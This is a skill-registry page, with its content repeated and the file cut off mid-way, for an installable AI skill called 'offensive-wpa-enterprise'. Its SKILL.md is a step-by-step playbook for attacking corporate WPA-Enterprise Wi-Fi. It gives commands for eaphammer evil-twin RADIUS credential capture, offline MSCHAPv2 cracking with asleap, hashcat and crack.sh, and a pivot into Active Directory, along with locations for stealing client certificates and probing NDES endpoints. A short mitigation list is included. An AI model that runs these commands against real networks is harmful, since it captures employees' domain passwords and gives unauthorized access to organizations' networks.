offensive-wpa-enterprise

Name: offensive-wpa-enterprise
Author: SnailSploit

2.8kstars447forks

How to install offensive-wpa-enterprise?

snailsploit/claude-red/offensive-wpa-enterprise

$npx -y skills add SnailSploit/Claude-Red --skill offensive-wpa-enterprise

Installs into the current project.

Summary

WPA/WPA2/WPA3-Enterprise (802.1X / EAP) attack methodology — EAP method identification (PEAP-MSCHAPv2, EAP-TTLS, EAP-TLS, EAP-GTC, EAP-PWD, EAP-FAST), evil-twin RADIUS attacks with eaphammer for credential capture, MSCHAPv2 challenge-response cracking, EAP-TLS client certificate

Files · 1

View on GitHub

SKILL.md

1	# WPA-Enterprise (802.1X / EAP) Attacks
2
3	Enterprise Wi-Fi delegates authentication to a RADIUS server — usually backed by AD. The PSK doesn't exist. Instead, you attack the supplicant's trust in the server certificate, the inner EAP method's crypto, or the cert-issuance path.
4
5	## Quick Workflow
6
7	1. Identify EAP method from beacons + initial EAP-Request/Identity
8	2. If MSCHAPv2-based (PEAP, TTLS): rogue RADIUS to capture challenge-response
9	3. If EAP-TLS: target the cert-issuance / cert-storage path (out of band)
10	4. Crack captured MSCHAPv2 offline → AD username + password
11	5. Pivot into the domain (see `offensive-active-directory` and `offensive-network`)
12
13	---
14
15	## EAP Method Identification
16
17	```bash
18	# Watch 802.1X exchange in monitor mode
19	sudo tshark -i wlan0mon -Y "eapol \|\| eap" -V
20
21	# Or capture and analyze
22	sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
23	# When client associates, read the EAP-Request/Identity and Type fields
24	wireshark eap_capture-01.cap
25	```
26
27	\| EAP Type \| Identifier \| Common Inner \|
28	\|---\|---\|---\|
29	\| 13 \| EAP-TLS \| Client + server certs \|
30	\| 17 \| LEAP \| (legacy, weak) \|
31	\| 21 \| EAP-TTLS \| MSCHAPv2 / PAP / CHAP / GTC \|
32	\| 25 \| PEAP \| MSCHAPv2 (PEAPv0/MS) / GTC (PEAPv0/Cisco) \|
33	\| 43 \| EAP-FAST \| MSCHAPv2 (PAC-protected) \|
34	\| 47 \| EAP-PWD \| (Dragonblood-class research target) \|
35
36	## Evil-Twin RADIUS (PEAP-MSCHAPv2 / TTLS-MSCHAPv2)
37
38	The most common attack path against corporate Wi-Fi.
39
40	```bash
41	# eaphammer — automated rogue AP + RADIUS
42	eaphammer --cert-wizard # generate self-signed cert (first run)
43	eaphammer -i wlan0 \
44	--essid CorpWiFi \
45	--bssid AA:BB:CC:DD:EE:FF \
46	--auth wpa-eap \
47	--creds
48	```
49
50	When a client associates, eaphammer logs:
51
52	```
53	[*] User: corp.local\jdoe
54	[*] Challenge: 1122334455667788
55	[*] Response: aabbccdd...
56	```
57
58	Crack offline:
59
60	```bash
61	# asleap — designed for MSCHAPv2 challenge/response
62	asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt
63
64	# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)
65	hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
66	```
67
68	The captured response is equivalent to NetNTLMv1 — feed it to a rainbow-table service (`crack.sh`) for guaranteed crack at moderate cost.
69
70	## Why Evil-Twin Works
71
72	The MSCHAPv2 inner exchange is encrypted in a TLS tunnel between the supplicant and the (real or fake) RADIUS server. If the supplicant doesn't validate:
73
74	- The CA chain on the RADIUS server certificate (most BYOD configurations)
75	- The CN / SAN of the RADIUS server certificate (often unenforced even with CA validation)
76
77	Then a self-signed cert is accepted, the tunnel is established with the attacker, and MSCHAPv2 happens inside.
78
79	Mitigation defenders should use:
80	- Push GPO requiring server cert validation
81	- Pin trusted CA + RADIUS server CN explicitly
82	- For BYOD, enrollment via SCEP/Intune that locks supplicant settings
83
84	## Supplicant Validation Bypass
85
86	### Windows
87
88	```
89	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...
90	```
91
92	Look at the deployed wireless profile XML. Critical fields:
93
94	```xml
95	<ServerValidation>
96	<DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
97	<ServerNames>radius.corp.local</ServerNames>
98	<TrustedRootCA>...thumbprint...</TrustedRootCA>
99	</ServerValidation>
100	```
101
102	If `ServerNames` is missing or wildcard'd, evil-twin will succeed.
103
104	### iOS / macOS / Android (BYOD)
105
106	Manual entry → users typically click "Trust" on the certificate prompt the first time, including for the evil twin. After that the supplicant trusts the attacker cert by hash. Many BYOD networks rely on this acceptance without controlling the trust anchor.
107
108	## EAP-TLS Targets
109
110	EAP-TLS uses client certificates instead of passwords — there's nothing to crack from the wire. Attack vectors:
111
112	### Cert Theft from User Profile
113
114	- DPAPI master key + cert blob on Windows
115	- `%APPDATA%\Microsoft\SystemCertificates\My\Certificates\`
116	- Decrypt with DPAPI master key (requires user logon context or master key)
117	- macOS Keychain (login keychain) — local user access
118	- Android KeyStore — root + Frida hooks (see `offensive-mobile`)
119	- iOS — Keychain item with appropriate access group entitlement
120
121	### NDES / SCEP Misconfig
122
123	If the network uses SCEP for cert provisioning:
124
125	```bash
126	# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)
127	curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll

People who liked this also viewed

6 picks

Type

offensive-wpa-enterprise

2.8kstars447forks

View on GitHub

How to install offensive-wpa-enterprise?

snailsploit/claude-red/offensive-wpa-enterprise

$npx -y skills add SnailSploit/Claude-Red --skill offensive-wpa-enterprise

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# WPA-Enterprise (802.1X / EAP) Attacks
2
3	Enterprise Wi-Fi delegates authentication to a RADIUS server — usually backed by AD. The PSK doesn't exist. Instead, you attack the supplicant's trust in the server certificate, the inner EAP method's crypto, or the cert-issuance path.
4
5	## Quick Workflow
6
7	1. Identify EAP method from beacons + initial EAP-Request/Identity
8	2. If MSCHAPv2-based (PEAP, TTLS): rogue RADIUS to capture challenge-response
9	3. If EAP-TLS: target the cert-issuance / cert-storage path (out of band)
10	4. Crack captured MSCHAPv2 offline → AD username + password
11	5. Pivot into the domain (see `offensive-active-directory` and `offensive-network`)
12
13	---
14
15	## EAP Method Identification
16
17	```bash
18	# Watch 802.1X exchange in monitor mode
19	sudo tshark -i wlan0mon -Y "eapol \|\| eap" -V
20
21	# Or capture and analyze
22	sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID> -w eap_capture
23	# When client associates, read the EAP-Request/Identity and Type fields
24	wireshark eap_capture-01.cap
25	```
26
27	\| EAP Type \| Identifier \| Common Inner \|
28	\|---\|---\|---\|
29	\| 13 \| EAP-TLS \| Client + server certs \|
30	\| 17 \| LEAP \| (legacy, weak) \|
31	\| 21 \| EAP-TTLS \| MSCHAPv2 / PAP / CHAP / GTC \|
32	\| 25 \| PEAP \| MSCHAPv2 (PEAPv0/MS) / GTC (PEAPv0/Cisco) \|
33	\| 43 \| EAP-FAST \| MSCHAPv2 (PAC-protected) \|
34	\| 47 \| EAP-PWD \| (Dragonblood-class research target) \|
35
36	## Evil-Twin RADIUS (PEAP-MSCHAPv2 / TTLS-MSCHAPv2)
37
38	The most common attack path against corporate Wi-Fi.
39
40	```bash
41	# eaphammer — automated rogue AP + RADIUS
42	eaphammer --cert-wizard # generate self-signed cert (first run)
43	eaphammer -i wlan0 \
44	--essid CorpWiFi \
45	--bssid AA:BB:CC:DD:EE:FF \
46	--auth wpa-eap \
47	--creds
48	```
49
50	When a client associates, eaphammer logs:
51
52	```
53	[*] User: corp.local\jdoe
54	[*] Challenge: 1122334455667788
55	[*] Response: aabbccdd...
56	```
57
58	Crack offline:
59
60	```bash
61	# asleap — designed for MSCHAPv2 challenge/response
62	asleap -C 1122334455667788 -R aabbccdd... -W rockyou.txt
63
64	# Or hashcat mode 5500 (NetNTLMv1 / MSCHAPv2)
65	hashcat -m 5500 hash.txt rockyou.txt -r OneRuleToRuleThemAll.rule
66	```
67
68	The captured response is equivalent to NetNTLMv1 — feed it to a rainbow-table service (`crack.sh`) for guaranteed crack at moderate cost.
69
70	## Why Evil-Twin Works
71
72	The MSCHAPv2 inner exchange is encrypted in a TLS tunnel between the supplicant and the (real or fake) RADIUS server. If the supplicant doesn't validate:
73
74	- The CA chain on the RADIUS server certificate (most BYOD configurations)
75	- The CN / SAN of the RADIUS server certificate (often unenforced even with CA validation)
76
77	Then a self-signed cert is accepted, the tunnel is established with the attacker, and MSCHAPv2 happens inside.
78
79	Mitigation defenders should use:
80	- Push GPO requiring server cert validation
81	- Pin trusted CA + RADIUS server CN explicitly
82	- For BYOD, enrollment via SCEP/Intune that locks supplicant settings
83
84	## Supplicant Validation Bypass
85
86	### Windows
87
88	```
89	HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy Objects\...
90	```
91
92	Look at the deployed wireless profile XML. Critical fields:
93
94	```xml
95	<ServerValidation>
96	<DisableUserPromptForServerValidation>true</DisableUserPromptForServerValidation>
97	<ServerNames>radius.corp.local</ServerNames>
98	<TrustedRootCA>...thumbprint...</TrustedRootCA>
99	</ServerValidation>
100	```
101
102	If `ServerNames` is missing or wildcard'd, evil-twin will succeed.
103
104	### iOS / macOS / Android (BYOD)
105
106	Manual entry → users typically click "Trust" on the certificate prompt the first time, including for the evil twin. After that the supplicant trusts the attacker cert by hash. Many BYOD networks rely on this acceptance without controlling the trust anchor.
107
108	## EAP-TLS Targets
109
110	EAP-TLS uses client certificates instead of passwords — there's nothing to crack from the wire. Attack vectors:
111
112	### Cert Theft from User Profile
113
114	- DPAPI master key + cert blob on Windows
115	- `%APPDATA%\Microsoft\SystemCertificates\My\Certificates\`
116	- Decrypt with DPAPI master key (requires user logon context or master key)
117	- macOS Keychain (login keychain) — local user access
118	- Android KeyStore — root + Frida hooks (see `offensive-mobile`)
119	- iOS — Keychain item with appropriate access group entitlement
120
121	### NDES / SCEP Misconfig
122
123	If the network uses SCEP for cert provisioning:
124
125	```bash
126	# Discover NDES endpoint (often /certsrv/mscep/mscep.dll)
127	curl -I http://ndes.corp.local/certsrv/mscep/mscep.dll

People who liked this also viewed

6 picks

Type